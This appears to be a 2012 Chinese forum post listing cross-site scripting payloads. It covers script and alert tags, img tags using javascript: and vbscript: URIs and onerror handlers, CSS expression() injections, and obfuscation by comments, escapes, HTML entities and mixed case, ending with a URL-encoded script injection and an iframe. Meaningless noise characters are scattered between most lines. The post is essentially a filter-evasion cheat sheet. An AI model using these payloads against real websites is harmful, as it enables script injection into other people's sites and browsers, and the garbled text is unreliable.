<script>alert("跨站")</script> (最常用）; O8 S: N. d/ `& r6 c# r: K
<img scr=javascript:alert("跨站")></img>6 ], w U8 a: j
<img scr="javascript: alert(/跨站/)></img>; N5 w$ G2 u. U" @; \ k
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
L. L5 ^, q O# r2 \! V. }2 i<img scr="#" onerror=alert(/跨站/)></img>" p$ z( T# l( @* C
<img scr="#" style="xss:expression(alert(/xss/));"></img>/ I+ `6 M- b/ P, g6 y
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
* P; `4 h: f0 G<img src=vbscript:msgbox ("xss")></img>
8 ? b& C; _; ]8 E<style> input {left:expression (alert('xss'))}</style>. r/ h6 U& p5 X Q
<div style={left:expression (alert('xss'))}></div>/ z0 k T7 ?- T. ]9 v
<div style={left:exp/* */ression (alert('xss'))}></div>$ n9 p8 T$ K0 y; A/ ?
<div style={left:\0065\0078ression (alert('xss'))}></div>. B7 @# `0 R' ]4 |1 T( f( A+ ~- r
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
1 u) b! @9 }# q6 Z$ `& F5 z4 I" xunicode <div style="{left:expRessioN (alert('xss'))}">" ?( U% y! ^ F O9 W1 a/ G1 a! b
& \: q% E" z3 E& W/ a3 F"]}%3Cscript%3Ealert('By b14ckb0y')%3C/script%3E{[&item="]<iframe%20src=http://new.qzone.qq.com/9530772%20width=400%20height=600></iframe>["* ]! ^7 c* J6 Y" E! U0 G d! a
|
发表于 2012-9-13 17:15:04
收藏
支持
反对